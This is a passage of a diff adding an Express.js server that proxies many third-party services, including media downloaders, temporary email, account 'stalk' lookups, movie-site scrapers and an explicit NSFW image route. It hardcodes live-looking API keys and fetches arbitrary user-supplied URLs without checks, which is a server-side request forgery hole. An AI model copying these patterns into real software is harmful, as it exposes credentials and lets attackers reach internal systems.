axios.get('https://fdown.net', { + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', + 'Accept': 'text/html,application/xhtml+xml', + } + }); + + const $ = cheerio.load(response.data); + return { + token_v: $('input[name="token_v"]').val(), + token_c: $('input[name="token_c"]').val(), + token_h: $('input[name="token_h"]').val() + }; + } catch (error) { + console.error('Error fetching tokens:', error.message); + return null; + } + }, + + download: async (url) => { + const tokens = await fdown.getToken(); + if (!tokens) return null; + + const formData = qs.stringify({ + 'URLz': url, + 'token_v': tokens.token_v, + 'token_c': tokens.token_c, + 'token_h': tokens.token_h + }); + + try { + const response = await axios.post('https://fdown.net/download.php', formData, { + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', + 'Content-Type': 'application/x-www-form-urlencoded' + } + }); + + const $ = cheerio.load(response.data); + const video = { + title: $('#result .lib-header').text().trim() || "Unknown Title", + description: $('#result .lib-desc').first().text().replace('Description:', '').trim() || "No Description", + duration: $('#result .lib-desc').last().text().replace('Duration:', '').trim() || "Unknown", + thumbnail: $('#result .lib-img-show').attr('data-cfsrc') || $('#result .lib-img-show').attr('src') || null, + downloads: [] + }; + + const normalQualityLink = $('#sdlink').attr('href'); + const hdQualityLink = $('#hdlink').attr('href'); + + if (normalQualityLink) { + video.downloads.push({ quality: 'SD', downloadUrl: normalQualityLink }); + } + if (hdQualityLink) { + video.downloads.push({ quality: 'HD', downloadUrl: hdQualityLink }); + } + + return video; + } catch (error) { + console.error('Error downloading video:', error.message); + return null; + } + } +}; + + +const categories = [ + "genshin", "swimsuit", "schoolswimsuit", "white", "barefoot", "touhou", "gamecg", + "hololive", "uncensored", "sungglasses", "glasses", "weapon", "shirtlift", "chain", + "fingering", "flatchest", "torncloth", "bondage", "demon", "pantypull", "headdress", + "headphone", "anusview", "shorts", "stokings", "topless", "beach", "bunnygirl", + "bunnyear", "vampire", "nobra", "bikini", "whitehair", "blonde", "pinkhair", "bed", + "ponytail", "nude", "dress", "underwear", "foxgirl", "uniform", "skirt", "breast", + "twintail", "spreadpussy", "seethrough", "breasthold", "fateseries", "spreadlegs", + "openshirt", "headband", "nipples", "erectnipples", "greenhair", "wolfgirl", "catgirl" +]; + +// Main NSFW Route +app.get("/nsfw", async (req, res) => { + const { category } = req.query; + + // If no category, show available categories + if (!category) { + return res.json({ + creator: "David Cyril", + success: true, + message: "Available categories", + categories: categories + }); + } + + // Check if the category is valid + if (!categories.includes(category.toLowerCase())) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid category. Use /nsfw to see available categories." + }); + } + + try { + // Fetch image URL from external API + const response = await axios.get(`https://fantox-apis.vercel.app/${category}`); + if (!response.data || !response.data.url) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No image found for this category." + }); + } + + // Redirect browser to the image URL (Displays image directly) + return res.redirect(response.data.url); + + } catch (error) { + console.error("Error fetching NSFW image:", error.message); + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request." + }); + } +}); + + + +app.get("/random/technews", async (req, res) => { + try { + const response = await axios.get("https://bk9.fun/details/tnews"); + const newsData = response.data.BK9; + + if (!newsData) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "No tech news found." + }); + } + + res.json({ + creator: "David Cyril", + status: true, + result: { + title: newsData.title, + link: newsData.link, + image: newsData.img, + description: newsData.desc + } + }); + } catch (error) { + console.error("Error fetching tech news:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while fetching tech news." + }); + } +}); + +app.get("/tts", async (req, res) => { + const { text, voice } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the text in the `text` query parameter." + }); + } + + if (!voice) { + try { + // Fetch available voices from the API + const response = await axios.get("https://api.paxsenix.biz.id/tools/tts?text=test"); + + if (!response.data.ok) { + throw new Error("Failed to fetch available voices"); + } + + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the voice in the `voice` query parameter.", + availableVoices: response.data.available_voices + }); + } catch (error) { + console.error("Error fetching available voices:", error.message); + return res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while fetching available voices." + }); + } + } + + try { + const apiUrl = `https://api.paxsenix.biz.id/tools/tts?text=${encodeURIComponent( + text + )}&voice=${encodeURIComponent(voice)}`; + + const response = await axios.get(apiUrl); + + if (response.data.ok) { + res.status(200).json({ + creator: "David Cyril", + status: 200, + success: true, + audioUrl: response.data.directUrl + }); + } else { + res.status(400).json({ + creator: "David Cyril", + error: "The voice you selected is not available. Please choose a valid voice.", + availableVoices: response.data.available_voices + }); + } + } catch (error) { + console.error("Error generating TTS:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + +app.get("/tools/stackoverflow_details", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a valid Stack Overflow URL." + }); + } + + try { + const response = await axios.get(url); + const $ = cheerio.load(response.data); + + // Extract data from Stack Overflow page + const title = $("h1.fs-headline1").text().trim(); + const image = "https://cdn.sstatic.net/Sites/stackoverflow/Img/apple-touch-icon.png?v=c78bd457575a"; + const content = $(".js-post-body").first().text().trim(); + const time = $("time").first().text().trim(); + const author = $(".user-details a").first().text().trim(); + const questions = $(".post-tag").map((i, el) => $(el).text()).get(); + + if (!title || !content) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "Failed to fetch Stack Overflow details." + }); + } + + // Construct response + res.json({ + creator: "David Cyril", + status: true, + BK9: { + title: title, + link: url, + image: image, + content: content, + time: time || "Unknown", + author: author || "Unknown", + questions: questions || [] + } + }); + + } catch (error) { + console.error("Error fetching Stack Overflow details:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while processing your request." + }); + } +}); + +app.get('/facebook2', async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a valid Facebook video URL." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/facebook`, { + params: { url } + }); + + const data = response.data.data; + + if (!data || (!data.sd && !data.hd)) { + return res.status(500).json({ + creator: "David Cyril", + status: false, + message: "Failed to fetch video details. Please try again later." + }); + } + + // Maintain old API response structure + res.json({ + creator: "David Cyril", + status: true, + video: { + title: data.title || "No title available", + thumbnail: data.thumbnail || null, + downloads: [ + data.sd ? { quality: "SD", downloadUrl: data.sd } : null, + data.hd ? { quality: "HD", downloadUrl: data.hd } : null + ].filter(Boolean) + } + }); + + } catch (error) { + console.error('Error fetching Facebook video:', error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while processing your request." + }); + } +}); + + + +app.get("/spotifydl", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the Spotify URL in the `url` query parameter." + }); + } + + try { + const apiUrl = `https://api.agatz.xyz/api/spotifydl?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl); + + if (response.data.status === 200) { + const spotifyData = JSON.parse(response.data.data); + + res.status(200).json({ + creator: "David Cyril", + status: 200, + success: true, + channel: spotifyData.nama_channel, + title: spotifyData.judul, + duration: `${spotifyData.durasi} seconds`, + thumbnail: spotifyData.gambar_kecil[0].url, + DownloadLink: spotifyData.url_audio_v1, + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "Spotify data could not be retrieved." + }); + } + } catch (error) { + console.error("Error fetching Spotify data:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + +const availableModels = [ + "miku", + "nahida", + "nami", + "ana", + "optimus_prime", + "goku", + "taylor_swift", + "elon_musk", + "mickey_mouse", + "kendrick_lamar", + "angela_adkinsh", + "eminem" +]; + +app.get("/voiceai", async (req, res) => { + const { text, model } = req.query; + + // Validate inputs + if (!text) { + return res.status(400).json({ error: "The 'text' parameter is required." }); + } + + if (!model || !availableModels.includes(model)) { + return res.status(400).json({ + error: `Invalid 'model' parameter. Available models: ${availableModels.join(", ")}` + }); + } + + try { + // Call the API + const response = await axios.get( + `https://api.agatz.xyz/api/voiceover?text=${encodeURIComponent(text)}&model=${model}` + ); + const data = response.data; + + if (data.error) { + return res.status(500).json({ error: data.error }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + model: data.data.model, + voice_name: data.data.voice_name, + audio_url: data.data.oss_url + }); + } catch (error) { + console.error("Error fetching voiceover:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + +import shortid from 'shortid'; + + + +app.use(cors()); + + + + + +app.get("/pickupline", async (req, res) => { + try { + // Call the Popcat API for pickup lines + const response = await axios.get("https://api.popcat.xyz/pickuplines"); + const data = response.data; + + // Send the pickup line and contributor as a response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + pickupline: data.pickupline + }); + } catch (error) { + console.error("Error fetching pickup line:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/fact", async (req, res) => { + try { + // Fetch a random fact from the Popcat API + const response = await axios.get("https://api.popcat.xyz/fact"); + const data = response.data; + + // Respond with the fact + res.json({ + creator: "David Cyril", + status: 200, + success: true, + fact: data.fact + }); + } catch (error) { + console.error("Error fetching random fact:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + + + + + + +app.get("/instagram", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the Instagram URL in the `url` query parameter." + }); + } + + try { + const apiUrl = `https://api.paxsenix.biz.id/dl/ig?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl); + + if (response.data.ok) { + const { thumbnail, url: downloadUrl, type } = response.data.url[0]; + + res.status(200).json({ + creator: "David Cyril", + status: 200, + success: true, + type: type, + thumbnail: thumbnail, + downloadUrl: downloadUrl + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "Instagram media could not be retrieved." + }); + } + } catch (error) { + console.error("Error fetching Instagram data:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + + + +// **Remove Background API (Displays Image Directly)** +app.get("/removebg", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).send("❌ Please provide an image URL."); + } + + try { + // Step 1: Download Image + const imageResponse = await axios.get(url, { responseType: "arraybuffer" }); + const contentType = imageResponse.headers["content-type"]; + + if (!imageResponse.data) throw new Error("Failed to download image."); + + // Step 2: Get Upload URL + const uploadResponse = await axios.get("https://aibackgroundremover.org/api/get-upload-url", { + headers: { + "accept": "*/*", + "referer": "https://aibackgroundremover.org/" + } + }); + + const { uploadUrl, publicUrl } = uploadResponse.data; + + // Step 3: Upload Image + await axios.put(uploadUrl, imageResponse.data, { + headers: { "Content-Type": contentType } + }); + + // Step 4: Request Background Removal + const removeResponse = await axios.post("https://aibackgroundremover.org/api/remove-bg", + { image: publicUrl }, + { headers: { "content-type": "application/json" } } + ); + + const { id } = removeResponse.data; + + // Step 5: Check Processing Status + let status; + let outputUrl; + do { + await new Promise(resolve => setTimeout(resolve, 2000)); + const statusCheck = await axios.get(`https://aibackgroundremover.org/api/check-status?id=${id}`, { + headers: { "accept": "*/*" } + }); + status = statusCheck.data.status; + outputUrl = statusCheck.data.output; + } while (status === "starting" || status === "processing"); + + if (status !== "succeeded") throw new Error("Failed to process image."); + + // **Step 6: Redirect to Processed Image** + res.redirect(outputUrl); + + } catch (error) { + console.error("Remove BG Error:", error.message); + res.status(500).send("❌ Failed to remove background."); + } +}); + + + +app.get("/apk", async (req, res) => { + const { name } = req.query; + + // Check if the `name` parameter is provided + if (!name) { + return res.status(400).json({ + status: false, + owner: "@DavidCyrilTech", + error: "Please provide the app name in the `name` query parameter." + }); + } + + try { + // Fetch the APK details using the provided name + const apiUrl = `https://bk9.fun/download/apk?id=${encodeURIComponent(name)}`; + const response = await axios.get(apiUrl); + + // Check if the API response is successful + if (response.data.status) { + res.status(200).json({ + status: true, + owner: "@DavidCyrilTech", + apk: { + name: response.data.BK9.name, + lastUpdated: response.data.BK9.lastup, + package: response.data.BK9.package, + icon: response.data.BK9.icon, + downloadLink: response.data.BK9.dllink + } + }); + } else { + res.status(404).json({ + status: false, + owner: "@DavidCyrilTech", + error: "APK not found for the provided name." + }); + } + } catch (error) { + console.error("Error fetching APK details:", error.message); + res.status(500).json({ + status: false, + owner: "@DavidCyrilTech", + error: "An error occurred while processing your request." + }); + } +}); + + + + +// Route to fetch and display the image +app.get("/diffusion", async (req, res) => { + const { prompt } = req.query; + + if (!prompt) { + return res.status(400).send("Please provide a prompt."); + } + + try { + // API URL with the provided prompt + const apiUrl = `https://api.siputzx.my.id/api/ai/stable-diffusion?prompt=${encodeURIComponent(prompt)}`; + + // Fetch the image from the API + const response = await axios.get(apiUrl, { responseType: "arraybuffer" }); + + // Set the correct headers to display the image in the browser + res.setHeader("Content-Type", "image/png"); + res.send(response.data); + } catch (error) { + console.error("Error fetching the image:", error.message); + res.status(500).send("Failed to fetch the image. Please try again."); + } +}); + + + + + + +// Translator API +app.get("/tools/translate", async (req, res) => { + const { text, to } = req.query; + + if (!text || !to) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide both text and target language (to)." + }); + } + + try { + // Perform translation + const result = await translate(text, { to }); + + res.json({ + creator: "David Cyril", + success: true, + original_text: text, + translated_text: result.text, + language: to + }); + + } catch (error) { + console.error("Translation Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to translate text. Please try again later." + }); + } +}); + + +const fetch = (...args) => import("node-fetch").then(({ default: fetch }) => fetch(...args)); + + + +// Generate Temporary Email +async function random_mail() { + const link = "https://dropmail.me/api/graphql/web-test-wgq6m5i?query=mutation%20%7BintroduceSession%20%7Bid%2C%20expiresAt%2C%20addresses%20%7Baddress%7D%7D%7D"; + + try { + let response = await fetch(link); + if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`); + + let data = await response.json(); + return { + email: data.data.introduceSession.addresses[0].address, + id: data.data.introduceSession.id, + expiresAt: data.data.introduceSession.expiresAt + }; + } catch (error) { + console.error("Error generating email:", error); + return null; + } +} + +// Fetch Inbox Messages +async function get_mails(id) { + const link = `https://dropmail.me/api/graphql/web-test-wgq6m5i?query=query%20(%24id%3A%20ID!)%20%7Bsession(id%3A%24id)%20%7B%20addresses%20%7Baddress%7D%2C%20mails%7BrawSize%2C%20fromAddr%2C%20toAddr%2C%20downloadUrl%2C%20text%2C%20headerSubject%7D%7D%20%7D&variables=%7B%22id%22%3A%22${id}%22%7D`; + + try { + let response = await fetch(link); + if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`); + + let data = await response.json(); + return { + inbox: data.data.session.mails || [], + count: data.data.session.mails.length || 0 + }; + } catch (error) { + console.error("Error fetching inbox:", error); + return null; + } +} + +// **API Endpoints** + +// 🎯 Generate Temporary Email +app.get("/temp-mail", async (req, res) => { + const emailData = await random_mail(); + if (!emailData) { + return res.status(500).json({ success: false, message: "Failed to generate temporary email." }); + } + res.json({ + creator: "David Cyril Tech", + status: 200, + success: true, + email: emailData.email, + session_id: emailData.id, + expires_at: emailData.expiresAt + }); +}); + +// 📩 Fetch Inbox Messages +app.get("/temp-mail/inbox", async (req, res) => { + const { id } = req.query; + if (!id) { + return res.status(400).json({ success: false, message: "Please provide a valid session ID using `id` parameter." }); + } + + const inboxData = await get_mails(id); + if (!inboxData) { + return res.status(500).json({ success: false, message: "Failed to fetch inbox messages." }); + } + + res.json({ + creator: "David Cyril Tech", + status: 200, + success: true, + inbox_count: inboxData.count, + messages: inboxData.inbox + }); +}); + + + + + +app.get("/flux", async (req, res) => { + const { prompt } = req.query; + + if (!prompt) { + return res.status(400).send("Please provide a prompt."); + } + + try { + // Fetch the image from the Flux API + const response = await axios.get(`https://api.siputzx.my.id/api/ai/flux?prompt=${encodeURIComponent(prompt)}`, { + responseType: "arraybuffer", + }); + + // Set the correct headers to display the image in the browser + res.setHeader("Content-Type", "image/png"); + res.send(response.data); + } catch (error) { + console.error("Error fetching the image:", error.message); + res.status(500).send("Failed to fetch the image. Please try again."); + } +}); + + + +// Ephoto API Endpoint Mapping + + + + + +app.get("/githubStalk", async (req, res) => { + const { user } = req.query; + + if (!user) { + return res.status(400).json({ error: "Please provide a GitHub username." }); + } + + try { + // Fetch data from the API + const response = await axios.get(`https://api.siputzx.my.id/api/stalk/github?user=${encodeURIComponent(user)}`); + const data = response.data; + + if (!data.status) { + return res.status(404).json({ error: "User not found." }); + } + + // Return the user data as plain JSON + res.json({ + creator: "David Cyril", + username: data.data.username, + nickname: data.data.nickname, + bio: data.data.bio, + id: data.data.id, + profile_pic: data.data.profile_pic, + url: data.data.url, + type: data.data.type, + location: data.data.location, + public_repositories: data.data.public_repo, + followers: data.data.followers, + following: data.data.following, + created_at: data.data.created_at, + updated_at: data.data.updated_at + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + + + + +const OPENWEATHER_API_KEY = '060a6bcfa19809c2cd4d97a212b19273'; + +app.get('/weather', async (req, res) => { + const { city } = req.query; + + if (!city) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a location using the `city` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.openweathermap.org/data/2.5/weather`, { + params: { + q: city, + units: "metric", + appid: OPENWEATHER_API_KEY, + language: "en" + } + }); + + const weatherData = response.data; + const result = { + creator: "David Cyril", + success: true, + data: { + location: weatherData.name, + country: weatherData.sys.country, + weather: weatherData.weather[0].main, + description: weatherData.weather[0].description, + temperature: `${weatherData.main.temp} °C`, + feels_like: `${weatherData.main.feels_like} °C`, + pressure: `${weatherData.main.pressure} hPa`, + humidity: `${weatherData.main.humidity}%`, + wind_speed: `${weatherData.wind.speed} m/s`, + coordinates: { + latitude: weatherData.coord.lat, + longitude: weatherData.coord.lon + } + } + }; + + res.status(200).json(result); + } catch (error) { + console.error("Error fetching weather data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch weather data. Please try again later." + }); + } +}); + + + + +app.get('/googleimage', async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `query` parameter. Example: /gimage?query=cats" + }); + } + + try { + // Fetch data from the provided API + const response = await axios.get(`https://api.vreden.web.id/api/gimage?query=${encodeURIComponent(query)}`); + const data = response.data; + + if (data.status !== 200 || !data.result || data.result.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No images found for the given query." + }); + } + + // Construct response + const responseData = { + creator: "David Cyril", + success: true, + query: query, + results: data.result + }; + + res.status(200).json(responseData); + } catch (error) { + console.error("Error fetching Google Image Search data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching image search data. Please try again later." + }); + } +}); + +app.get('/ffstalk', async (req, res) => { + const { id } = req.query; + + if (!id) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a Free Fire account ID using the `id` query parameter. Example: /ffstalk?id=12345678" + }); + } + + try { + // Fetch data from the provided API + const response = await axios.get(`https://api.vreden.web.id/api/ffstalk?id=${id}`); + const data = response.data; + + if (data.status !== 200) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No account found with the provided ID." + }); + } + + const result = data.result; + + // Construct response + const responseData = { + creator: "David Cyril", + success: true, + account: { + id: result.account.id, + name: result.account.name, + level: result.account.level, + xp: result.account.xp, + region: result.account.region, + likes: result.account.like, + bio: result.account.bio, + created_at: result.account.create_time, + last_login: result.account.last_login, + honor_score: result.account.honor_score, + booyah_pass: result.account.booyah_pass, + booyah_pass_badge: result.account.booyah_pass_badge, + evo_access_badge: result.account.evo_access_badge, + equipped_title: result.account.equipped_title, + BR_points: result.account.BR_points, + CS_points: result.account.CS_points, + }, + pet_info: { + name: result.pet_info.name, + level: result.pet_info.level, + type: result.pet_info.type, + xp: result.pet_info.xp, + }, + guild: { + name: result.guild.name, + id: result.guild.id, + level: result.guild.level, + member_count: result.guild.member, + capacity: result.guild.capacity, + }, + guild_leader: { + id: result.ketua_guild.id, + name: result.ketua_guild.name, + level: result.ketua_guild.level, + xp: result.ketua_guild.xp, + likes: result.ketua_guild.like, + last_login: result.ketua_guild.last_login, + BR_points: result.ketua_guild.BR_points, + CS_points: result.ketua_guild.CS_points, + } + }; + + res.status(200).json(responseData); + } catch (error) { + console.error("Error fetching Free Fire data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching Free Fire data. Please try again later." + }); + } +}); + + + + +// Search Emoji Endpoint +app.get("/search/semoji", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `q` parameter.", + }); + } + + try { + const response = await axios.get(`https://bk9.fun/search/semoji?q=${encodeURIComponent(text)}`); + const { BK9 } = response.data; + + if (!BK9 || BK9.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No emojis found for the provided query.", + }); + } + + // Format the response + res.json({ + creator: "David Cyril", + success: true, + result: BK9, + }); + } catch (error) { + console.error("Error fetching emoji search results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Steam Search Endpoint +app.get("/search/steam", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `q` parameter.", + }); + } + + try { + const response = await axios.get(`https://bk9.fun/search/Steam?q=${encodeURIComponent(text)}`); + const { BK9 } = response.data; + + if (!BK9 || BK9.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No games found for the provided query.", + }); + } + + // Format the response + res.json({ + creator: "David Cyril", + success: true, + result: BK9.map((game) => ({ + title: game.title, + img: game.img, + link: game.link, + release: game.release.trim(), + price: game.price || "Free / Not Listed", + rating: game.rating || "No Ratings Yet", + })), + }); + } catch (error) { + console.error("Error fetching Steam search results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Movie Search Endpoint +app.get("/zoom/search", async (req, res) => { + const { query } = req.query; + if (!query) { + return res.status(400).json({ + status: false, + message: "Please provide a movie query.", + }); + } + + try { + const url = `https://zoom.lk/?s=${query}`; + const response = await axios.get(url); + const $ = cheerio.load(response.data); + const movies = []; + + $("div.td-pb-span8.td-main-content > div > div.td_module_16.td_module_wrap.td-animation-stack").each((c, d) => { + const title = $(d).find("div.item-details > h3 > a").text(); + const link = $(d).find("div.item-details > h3 > a").attr("href"); + const image = $(d).find("div.td-module-thumb > img").attr("src"); + const author = $(d).find("div.item-details > div > span > a").text(); + const desc = $(d).find("div.item-details > div.td-excerpt").text(); + const comments = $(d).find("div.item-details > div > span.td-module-comments a").text(); + + movies.push({ title, link, image, author, desc, comments }); + }); + + res.json({ + creator: "David Cyril", + status: true, + result: movies.length ? movies : "No movies found", + }); + } catch (error) { + res.status(500).json({ + status: false, + message: "Failed to fetch search results.", + error: error.message, + }); + } +}); + +// Movie Details & Download Endpoint +app.get("/zoom/movie", async (req, res) => { + const { url } = req.query; + if (!url) { + return res.status(400).json({ + status: false, + message: "Please provide a valid movie page URL.", + }); + } + + try { + const response = await axios.get(url); + const $ = cheerio.load(response.data); + + const title = $("#tdi_56 h1").text(); + const author = $("div.vc_column_inner.tdi_64 a").text(); + const view = $("div.vc_column_inner.tdi_67 span").text(); + const date = $("div.vc_column_inner.tdi_70 time").text(); + const size = $("div.tdb_single_content p a small").text(); + const dl_link = $("div.tdb-block-inner p a").attr("href"); + + res.json({ + creator: "David Cyril", + status: true, + result: { + title, + author, + view, + date, + size, + dl_link, + }, + }); + } catch (error) { + res.status(500).json({ + status: false, + message: "Failed to fetch movie details.", + error: error.message, + }); + } +}); + + + + + +// Function to search for movies +async function firemovie(query) { + const searchUrl = `https://firemovieshub.com/?s=${query}`; + try { + const response = await axios.get(searchUrl); + const $ = cheerio.load(response.data); + const searchResults = []; + + $('.result-item').each((i, elem) => { + const title = $(elem).find('.title a').text().trim(); + const link = $(elem).find('.title a').attr('href'); + const img = $(elem).find('img').attr('src') || 'https://via.placeholder.com/100x150?text=No+Image'; + + searchResults.push({ title, link, img }); + }); + + if (searchResults.length === 0) { + return { error: 'No movies found for this query.' }; + } + + return { searchResults }; + } catch (error) { + console.error('Error searching movies:', error); + return { error: 'Failed to fetch search results.' }; + } +} + +// API Endpoint for Movie Search +app.get('/firemovie/search', async (req, res) => { + const query = req.query.query; + + if (!query) { + return res.status(400).json({ error: 'Query parameter is required.' }); + } + + const result = await firemovie(query); + if (result.error) { + return res.status(500).json(result); + } + + res.json(result); +}); + + + + +app.get("/youtube/search", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a search query." + }); + } + + try { + // Perform the YouTube search + const results = await ytSearch(query); + + if (!results.videos.length) { + return res.json({ + creator: "David Cyril", + status: false, + message: "No results found." + }); + } + + // Extracting relevant data + const videos = results.videos.slice(0, 10).map(video => ({ + title: video.title, + videoId: video.videoId, + url: video.url, + thumbnail: video.thumbnail, + views: video.views, + duration: video.duration.timestamp, + published: video.ago + })); + + // Send response + res.json({ + creator: "David Cyril", + status: true, + results: videos + }); + + } catch (error) { + console.error("Error fetching YouTube search:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while fetching YouTube search results." + }); + } +}); + + +// Your searchMovies function +async function firemovies(query) { + const searchUrl = `https://firemovieshub.com/?s=${query}`; + try { + const response = await axios.get(searchUrl); + const $ = cheerio.load(response.data); + const searchResults = []; + + $('.result-item').each((i, elem) => { + const title = $(elem).find('.title a').text().trim(); + const link = $(elem).find('.title a').attr('href'); + const img = $(elem).find('img').attr('src') || 'https://via.placeholder.com/100x150?text=No+Image'; + + searchResults.push({ title, link, img }); + }); + + if (searchResults.length === 0) { + return { error: 'No movies found for this query.' }; + } + + return { searchResults }; + } catch (error) { + console.error('Error searching movies:', error); + return { error: 'Failed to fetch search results.' }; + } +} + +// API Endpoint for Movie Search +app.get('/firemovies/search', async (req, res) => { + const query = req.query.query; + + if (!query) { + return res.status(400).json({ error: 'Query parameter is required.' }); + } + + const result = await firemovies(query); + if (result.error) { + return res.status(500).json(result); + } + + res.json(result); +}); + + + + +// Supported audio formats +const audioFormats = ["mp3", "m4a", "webm", "aac", "flac", "opus", "ogg", "wav"]; + +// Function to check download progress +async function checkProgress(progressId) { + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/progress.php?id=${progressId}`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", + }, + }; + + while (true) { + const response = await axios.request(config); + if (response.data?.success && response.data.progress === 1000) { + return response.data.download_url; + } + await new Promise((resolve) => setTimeout(resolve, 5000)); // Retry every 5 seconds + } +} + +// Function to fetch YouTube MP3 Download Link +async function fetchMp3Download(videoUrl) { + const config = { + method: "GET", + url: `https://p.oceansaver.in/ajax/download.php?format=mp3&url=${encodeURIComponent(videoUrl)}&api=dfcb6d76f2f6a9894gjkege8a4ab232222`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", + }, + }; + + const response = await axios.request(config); + if (response.data?.success) { + const { id, title, info } = response.data; + const mp3Url = await checkProgress(id); + return { title, thumbnail: info.image, mp3Url }; + } else { + throw new Error("Failed to fetch MP3 download link."); + } +} + +// Function to extract YouTube video ID +function getYouTubeID(youtubeUrl) { + const match = youtubeUrl.match(/(?:youtube\.com\/(?:.*[?&]v=)|youtu\.be\/)([^"&?/\s]{11})/); + return match ? match[1] : null; +} + +// YouTube Play Command API +app.get("/play", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: CREATOR, + status: false, + message: "Please provide a search query.", + }); + } + + try { + // Search YouTube for the song + const searchResults = await ytSearch(query); + + if (!searchResults.videos.length) { + return res.json({ + creator: CREATOR, + status: false, + message: "No results found.", + }); + } + + // Get first video result + const firstResult = searchResults.videos[0]; + + // Fetch MP3 download link + const mp3Data = await fetchMp3Download(firstResult.url); + const videoId = getYouTubeID(firstResult.url); + + // Response JSON + res.json({ + creator: CREATOR, + status: true, + result: { + title: firstResult.title, + video_url: firstResult.url, + thumbnail: firstResult.thumbnail || `https://img.youtube.com/vi/${videoId}/hqdefault.jpg`, + duration: firstResult.duration.timestamp, + views: firstResult.views, + published: firstResult.ago, + download_url: mp3Data.mp3Url, // Direct MP3 download link + }, + }); + } catch (error) { + console.error("Error processing YouTube play request:", error.message); + res.status(500).json({ + creator: CREATOR, + status: false, + message: "Failed to process request. Please try again.", + }); + } +}); + + + + +app.get("/youtube/mp4", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a valid YouTube URL." + }); + } + + try { + // Fetch video details from the external API + const response = await axios.get(`https://bk9.fun/download/youtube2?url=${encodeURIComponent(url)}`); + const data = response.data.BK9[0]; + + if (!data || !data.mediaLink) { + return res.status(500).json({ + creator: "David Cyril", + status: false, + message: "Failed to fetch download link. Please try again later." + }); + } + + // Construct the response in the required format + res.json({ + creator: "David Cyril", + status: true, + result: { + title: data.title || "Unknown Title", + thumbnail: 